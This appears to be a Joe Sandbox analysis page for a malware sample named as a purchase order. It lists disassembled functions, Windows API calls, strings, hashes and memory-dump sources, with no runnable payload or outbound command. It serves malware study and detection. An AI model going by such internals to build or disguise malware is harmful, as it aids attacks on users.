                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: SendString$_wcslen$BuffCharDriveLowerType
                                                                                                                                                                      • String ID: type cdaudio alias cd wait$ wait$close$close cd wait$closed$open$open $set cd door
                                                                                                                                                                      • API String ID: 4013263488-4113822522
                                                                                                                                                                      • Opcode ID: b9e44105478404289108567262d296c88e7101013f7783f6c7bd148379995db0
                                                                                                                                                                      • Instruction ID: 78e8968fe3d68f28a61334a0544e46eb3ade7c09d07056eb4a028b8014bab4f9
                                                                                                                                                                      • Opcode Fuzzy Hash: b9e44105478404289108567262d296c88e7101013f7783f6c7bd148379995db0
                                                                                                                                                                      • Instruction Fuzzy Hash: 86516E71604300ABD710EF55CC85F5EB3E4AF88714F14496EF985AB2D2D7B8E908CB5A
                                                                                                                                                                      Function 00435A35 Relevance: 21.1, APIs: 14, Instructions: 136timeCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: _wcslen$_wcsncpy$LocalTime__wcstoi64
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 228034949-0
                                                                                                                                                                      • Opcode ID: d55b35800c2a6f74fd0df3de6656c0821778ac1c15f087543c4dc83ec7dd6154
                                                                                                                                                                      • Instruction ID: c9113392db11e6d0b84b7dcaf0f9983ae7bcdcfbf3325debe08446cd55f13bc3
                                                                                                                                                                      • Opcode Fuzzy Hash: d55b35800c2a6f74fd0df3de6656c0821778ac1c15f087543c4dc83ec7dd6154
                                                                                                                                                                      • Instruction Fuzzy Hash: 874194B181435066DA10FF6AC8479DFB3A8EF89314F84495FF945D3162E378E64883AA
                                                                                                                                                                      Function 004334CA Relevance: 21.1, APIs: 14, Instructions: 132filecommemoryCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000,?,?,?,?,?,?,?,?,0046FAD5), ref: 004334F4
                                                                                                                                                                      • GetFileSize.KERNEL32(00000000,00000000,?,?,?,?,0046FAD5,?,?,?,?), ref: 0043350F
                                                                                                                                                                      • GlobalAlloc.KERNEL32(00000002,00000000,?,?,?,?,0046FAD5,?,?,?,?), ref: 0043351A
                                                                                                                                                                      • GlobalLock.KERNEL32(00000000), ref: 00433523
                                                                                                                                                                      • ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,?,?,?,0046FAD5,?,?,?,?), ref: 00433533
                                                                                                                                                                      • GlobalUnlock.KERNEL32(00000000), ref: 0043353A
                                                                                                                                                                      • CloseHandle.KERNEL32(00000000,?,?,?,?,0046FAD5,?,?,?,?), ref: 00433541
                                                                                                                                                                      • CreateStreamOnHGlobal.OLE32(00000000,00000001,?,?,?,?,?,0046FAD5,?,?,?,?), ref: 0043354F
                                                                                                                                                                      • OleLoadPicture.OLEAUT32(?,00000000,00000000,00482A20,?), ref: 00433568
                                                                                                                                                                      • GlobalFree.KERNEL32(00000000), ref: 0043357B
                                                                                                                                                                      • GetObjectW.GDI32(?,00000018,?), ref: 004335A6
                                                                                                                                                                      • CopyImage.USER32(?,00000000,?,?,00002000), ref: 004335DB
                                                                                                                                                                      • DeleteObject.GDI32(?), ref: 00433603
                                                                                                                                                                      • SendMessageW.USER32(?,00000172,00000000,?), ref: 0043361B
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Global$File$CreateObject$AllocCloseCopyDeleteFreeHandleImageLoadLockMessagePictureReadSendSizeStreamUnlock
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 3969911579-0
                                                                                                                                                                      • Opcode ID: c8af0a6d34b3156cf5dea3d494721158f709963105dd3e2632bd1b1f7de041f4
                                                                                                                                                                      • Instruction ID: 5aed18668fdc988692497ed4484016cc97142e8c7c748bcd34b77a3330007e11
                                                                                                                                                                      • Opcode Fuzzy Hash: c8af0a6d34b3156cf5dea3d494721158f709963105dd3e2632bd1b1f7de041f4
                                                                                                                                                                      • Instruction Fuzzy Hash: 70410471204210AFD710DF64DC88F6BBBE8FB89711F10492DFA45972A0D7B5A941CBAA
                                                                                                                                                                      Function 00445A77 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 73windowCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • GetParent.USER32 ref: 00445A8D
                                                                                                                                                                      • GetClassNameW.USER32(00000000,?,00000100), ref: 00445AA0
                                                                                                                                                                      • __wcsicoll.LIBCMT ref: 00445AC4
                                                                                                                                                                      • __wcsicoll.LIBCMT ref: 00445AE0
                                                                                                                                                                      • SendMessageW.USER32(00000000,00000111,0000702B,00000000), ref: 00445B3D
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: __wcsicoll$ClassMessageNameParentSend
                                                                                                                                                                      • String ID: SHELLDLL_DefView$details$largeicons$list$smallicons
                                                                                                                                                                      • API String ID: 3125838495-3381328864
                                                                                                                                                                      • Opcode ID: 6f6f70247b4827d2a410ddc22f410c306ecb8b2e46d0c95c17204de523c723c4
                                                                                                                                                                      • Instruction ID: 9ea7b4bfd8e333fc3d4c3d1cc69785ca983c3453aa66f955cff8de8c622a02b1
                                                                                                                                                                      • Opcode Fuzzy Hash: 6f6f70247b4827d2a410ddc22f410c306ecb8b2e46d0c95c17204de523c723c4
                                                                                                                                                                      • Instruction Fuzzy Hash: F011E9B1B40301BBFF10B6659C46EAF739CDF94759F00081BFD44E6182F6ACA9458769
                                                                                                                                                                      Function 00479921 Relevance: 19.6, APIs: 8, Strings: 3, Instructions: 314COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: CopyVariant$ErrorLast
                                                                                                                                                                      • String ID: Conversion of parameters failed$NULL Pointer assignment$Not an Object type
                                                                                                                                                                      • API String ID: 2286883814-4206948668
                                                                                                                                                                      • Opcode ID: 2f6e4bc4aaf8f7a3794965dba448b56a5b6575b3b05f264a778baa01eb75d6f6
                                                                                                                                                                      • Instruction ID: 5c76bcf0434180a49ef26f8382d3619d889c8a8ee3f63882ad125ac36acecb62
                                                                                                                                                                      • Opcode Fuzzy Hash: 2f6e4bc4aaf8f7a3794965dba448b56a5b6575b3b05f264a778baa01eb75d6f6
                                                                                                                                                                      • Instruction Fuzzy Hash: 4EA1F0B1644300ABD620EB25CC81EABB3E9FBC4704F10891EF65987251D779E945CBAA
                                                                                                                                                                      Function 00475D8B Relevance: 19.4, APIs: 2, Strings: 9, Instructions: 194COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                        • Part of subcall function 0045335B: CharLowerBuffW.USER32(?,?,?,0045D9DB,?,?,?), ref: 0045336E
                                                                                                                                                                        • Part of subcall function 00445975: _wcslen.LIBCMT ref: 00445984
                                                                                                                                                                      • GetDriveTypeW.KERNEL32(?,?,00000061), ref: 00475EEC
                                                                                                                                                                      • _wcscpy.LIBCMT ref: 00475F18
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: BuffCharDriveLowerType_wcscpy_wcslen
                                                                                                                                                                      • String ID: a$all$cdrom$fixed$network$ramdisk$removable$unknown$HH
                                                                                                                                                                      • API String ID: 3052893215-4176887700
                                                                                                                                                                      • Opcode ID: 531685fb0cf90d6ae2ec3f9560420c3d557b818d2d0e5f32259ad5e7ccb69ffd
                                                                                                                                                                      • Instruction ID: 30c0e749cffa51fc832ec364bb88d57898ea161693411a08ebb212f54f1b1ce2
                                                                                                                                                                      • Opcode Fuzzy Hash: 531685fb0cf90d6ae2ec3f9560420c3d557b818d2d0e5f32259ad5e7ccb69ffd
                                                                                                                                                                      • Instruction Fuzzy Hash: E951E5716047009BC710EF51D981B9BB3D4AB85705F108C2FF948AB382D7B9DE09879B
                                                                                                                                                                      Function 004582BF Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 165registryCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • StringFromIID.OLE32(?,?,00000003,?,?,00000000), ref: 004582E5
                                                                                                                                                                        • Part of subcall function 0040FFF0: _wcslen.LIBCMT ref: 0040FFF2
                                                                                                                                                                        • Part of subcall function 0040FFF0: _wcscpy.LIBCMT ref: 00410012
                                                                                                                                                                        • Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2
                                                                                                                                                                      • CoTaskMemFree.OLE32(?,00000000), ref: 00458335
                                                                                                                                                                      • RegOpenKeyExW.ADVAPI32(80000000,?,00000000,00020019,?), ref: 00458351
                                                                                                                                                                      • RegQueryValueExW.ADVAPI32 ref: 00458381
                                                                                                                                                                      • CLSIDFromString.OLE32(00000000,?), ref: 004583AF
                                                                                                                                                                      • RegQueryValueExW.ADVAPI32 ref: 004583E8
                                                                                                                                                                      • LoadRegTypeLib.OLEAUT32(?,?), ref: 00458486
                                                                                                                                                                        • Part of subcall function 00413F97: __wtof_l.LIBCMT ref: 00413FA1
                                                                                                                                                                      • RegCloseKey.ADVAPI32(?), ref: 004584BA
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: FromQueryStringValue_wcslen$CloseFreeLoadOpenTaskType__wtof_l_wcscpy
                                                                                                                                                                      • String ID: Version$\TypeLib$interface\
                                                                                                                                                                      • API String ID: 656856066-939221531
                                                                                                                                                                      • Opcode ID: fae0be2ce993580ee9701cb6b1f6a998fde8705fa16d3e1feab2af977247b743
                                                                                                                                                                      • Instruction ID: 73379605cfaaf105ee685c6daddaf2c4824f5dc828714578f474d0d05c7db838
                                                                                                                                                                      • Opcode Fuzzy Hash: fae0be2ce993580ee9701cb6b1f6a998fde8705fa16d3e1feab2af977247b743
                                                                                                                                                                      • Instruction Fuzzy Hash: 19513B715083059BD310EF55D944A6FB3E8FFC8B08F004A2DF985A7251EA78DD09CB9A
                                                                                                                                                                      Function 0045E62E Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 155COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • LoadStringW.USER32(?,00000066,?,00000FFF), ref: 0045E676
                                                                                                                                                                        • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                                                                                                                      • LoadStringW.USER32(?,?,?,00000FFF), ref: 0045E69A
                                                                                                                                                                      • __swprintf.LIBCMT ref: 0045E6EE
                                                                                                                                                                      • _printf.LIBCMT ref: 0045E7A9
                                                                                                                                                                      • _printf.LIBCMT ref: 0045E7D2
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: LoadString_printf$__swprintf_wcslen
                                                                                                                                                                      • String ID: Error: $%s (%d) : ==> %s:$%s (%d) : ==> %s:%s%s$Line %d (File "%s"):$^ ERROR
                                                                                                                                                                      • API String ID: 3590180749-2354261254
                                                                                                                                                                      • Opcode ID: fd3ade05fede2dfa3d14bccfacac15f81e3d16141c85e45952f832d3a26197ce
                                                                                                                                                                      • Instruction ID: 835382aeb01427732dc6b750cf2ba574ed77461063debdd42288bdc21f9728b4
                                                                                                                                                                      • Opcode Fuzzy Hash: fd3ade05fede2dfa3d14bccfacac15f81e3d16141c85e45952f832d3a26197ce
                                                                                                                                                                      • Instruction Fuzzy Hash: B051D5715143019BD324FB51CC41EAF77A8AF84354F14093FF94563292DB78AE49CB6A
                                                                                                                                                                      Function 004580E1 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 136registryshareCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                        • Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2
                                                                                                                                                                      • _memset.LIBCMT ref: 00458194
                                                                                                                                                                      • WNetAddConnection2W.MPR(?,?,?,00000000), ref: 004581D6
                                                                                                                                                                      • RegConnectRegistryW.ADVAPI32(?,80000002,00000000), ref: 004581F4
                                                                                                                                                                      • RegOpenKeyExW.ADVAPI32(?,?,00000000,00020019,00000000), ref: 00458219
                                                                                                                                                                      • RegQueryValueExW.ADVAPI32(00000000,00000000,00000000,00000000,?,?), ref: 00458248
                                                                                                                                                                      • CLSIDFromString.OLE32(00000000,?), ref: 00458279
                                                                                                                                                                      • RegCloseKey.ADVAPI32(00000000), ref: 0045828F
                                                                                                                                                                      • RegCloseKey.ADVAPI32(00000000), ref: 00458296
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Close$ConnectConnection2FromOpenQueryRegistryStringValue_memset_wcslen
                                                                                                                                                                      • String ID: SOFTWARE\Classes\$\CLSID$\IPC$
                                                                                                                                                                      • API String ID: 2255324689-22481851
                                                                                                                                                                      • Opcode ID: 40f125b4ffe5f12493adc0cb93ab67eb911e8c28f62e3d79c4190a4fe5521cad
                                                                                                                                                                      • Instruction ID: 0916ae95de1959dc40878de41837780f7e862baf069d4d5c3429810960799c2e
                                                                                                                                                                      • Opcode Fuzzy Hash: 40f125b4ffe5f12493adc0cb93ab67eb911e8c28f62e3d79c4190a4fe5521cad
                                                                                                                                                                      • Instruction Fuzzy Hash: 4A4190725083019BD320EF54C845B5FB7E8AF84714F044D2EFA8577291DBB8E949CB9A
                                                                                                                                                                      Function 004584D6 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 105registryCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • RegOpenKeyExW.ADVAPI32(80000000,interface,00000000,00020019,?), ref: 00458513
                                                                                                                                                                      • RegEnumKeyExW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,?), ref: 00458538
                                                                                                                                                                      • RegCloseKey.ADVAPI32(?), ref: 00458615
                                                                                                                                                                        • Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2
                                                                                                                                                                      • RegOpenKeyExW.ADVAPI32(80000000,?,00000000,00020019,000001FE,interface\), ref: 0045858A
                                                                                                                                                                      • RegQueryValueExW.ADVAPI32(?,00000000,00000000,00000000,?,00000028), ref: 004585A8
                                                                                                                                                                      • __wcsicoll.LIBCMT ref: 004585D6
                                                                                                                                                                      • IIDFromString.OLE32(?,?,?,?), ref: 004585EB
                                                                                                                                                                      • RegCloseKey.ADVAPI32(?), ref: 004585F8
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: CloseOpen$EnumFromQueryStringValue__wcsicoll_wcslen
                                                                                                                                                                      • String ID: ($interface$interface\
                                                                                                                                                                      • API String ID: 2231185022-3327702407
                                                                                                                                                                      • Opcode ID: f3ba987632fb2ab980929a1e8c26c1d4f1068388d2a95cb25d4e52b6d927b3fe
                                                                                                                                                                      • Instruction ID: 2ed788c9a442d2de66cb2a0eaf665167c450c6ff9570aaff4df7cfaf3afbbce1
                                                                                                                                                                      • Opcode Fuzzy Hash: f3ba987632fb2ab980929a1e8c26c1d4f1068388d2a95cb25d4e52b6d927b3fe
                                                                                                                                                                      • Instruction Fuzzy Hash: CE317271204305ABE710DF54DD85F6BB3E8FB84744F10492DF685A6191EAB8E908C76A
                                                                                                                                                                      Function 00436582 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 79networkCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • WSAStartup.WSOCK32(00000101,?), ref: 004365A5
                                                                                                                                                                      • gethostname.WSOCK32(00000100,00000100,00000101,?), ref: 004365BC
                                                                                                                                                                      • gethostbyname.WSOCK32(00000101,00000100,00000100,00000101,?), ref: 004365C6
                                                                                                                                                                      • _wcscpy.LIBCMT ref: 004365F5
                                                                                                                                                                      • WSACleanup.WSOCK32 ref: 004365FD
                                                                                                                                                                      • inet_ntoa.WSOCK32(00000100,?), ref: 00436624
                                                                                                                                                                      • _strcat.LIBCMT ref: 0043662F
                                                                                                                                                                      • _wcscpy.LIBCMT ref: 00436644
                                                                                                                                                                      • WSACleanup.WSOCK32(?,?,?,?,?,?,00000100,?), ref: 00436652
                                                                                                                                                                      • _wcscpy.LIBCMT ref: 00436666
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: _wcscpy$Cleanup$Startup_strcatgethostbynamegethostnameinet_ntoa
                                                                                                                                                                      • String ID: 0.0.0.0
                                                                                                                                                                      • API String ID: 2691793716-3771769585
                                                                                                                                                                      • Opcode ID: 72edaa20f59d4c855ae2a4057bf2e912041bb0bcae33cfe0ba1e7234a9852c49
                                                                                                                                                                      • Instruction ID: 29d249c793a1599df1911ffab6ed89036a29d54f41df1114d8fa63e2d2305339
                                                                                                                                                                      • Opcode Fuzzy Hash: 72edaa20f59d4c855ae2a4057bf2e912041bb0bcae33cfe0ba1e7234a9852c49
                                                                                                                                                                      • Instruction Fuzzy Hash: 5C21D4726003016BD620FB269C42FFF33A89FD4318F54492FF64456242EABDD58983AB
                                                                                                                                                                      Function 00416B12 Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 57libraryloaderCOMMONLIBRARYCODE
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • GetModuleHandleW.KERNEL32(KERNEL32.DLL,0048C968,0000000C,00416C4D,00000000,00000000,?,00411739,00417F28,00413979,?,?,00411739,?,00401C0B), ref: 00416B24
                                                                                                                                                                      • __crt_waiting_on_module_handle.LIBCMT ref: 00416B2F
                                                                                                                                                                        • Part of subcall function 0041177F: Sleep.KERNEL32(000003E8,?,?,00416A38,KERNEL32.DLL,?,00411B0C,?,00413973,00411739,?,?,00411739,?,00401C0B), ref: 0041178B
                                                                                                                                                                        • Part of subcall function 0041177F: GetModuleHandleW.KERNEL32(00411739,?,?,00416A38,KERNEL32.DLL,?,00411B0C,?,00413973,00411739,?,?,00411739,?,00401C0B), ref: 00411794
                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,EncodePointer), ref: 00416B58
                                                                                                                                                                      • GetProcAddress.KERNEL32(00411739,DecodePointer), ref: 00416B68
                                                                                                                                                                      • __lock.LIBCMT ref: 00416B8A
                                                                                                                                                                      • InterlockedIncrement.KERNEL32(00EA60FF), ref: 00416B97
                                                                                                                                                                      • __lock.LIBCMT ref: 00416BAB
                                                                                                                                                                      • ___addlocaleref.LIBCMT ref: 00416BC9
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: AddressHandleModuleProc__lock$IncrementInterlockedSleep___addlocaleref__crt_waiting_on_module_handle
                                                                                                                                                                      • String ID: DecodePointer$EncodePointer$KERNEL32.DLL
                                                                                                                                                                      • API String ID: 1028249917-2843748187
                                                                                                                                                                      • Opcode ID: 149215eb9963fdce733e6eee9b7d54027110d9b9ecd285c2a82fe369659baa59
                                                                                                                                                                      • Instruction ID: dfb830706c011728ae11a8c0f52cb2fa371409e71f4acd403326aacb15a29bdd
                                                                                                                                                                      • Opcode Fuzzy Hash: 149215eb9963fdce733e6eee9b7d54027110d9b9ecd285c2a82fe369659baa59
                                                                                                                                                                      • Instruction Fuzzy Hash: 4E119671944701AFD720EF76C905B9EBBE0AF00714F10495FE469A6391DB78A580CB1D
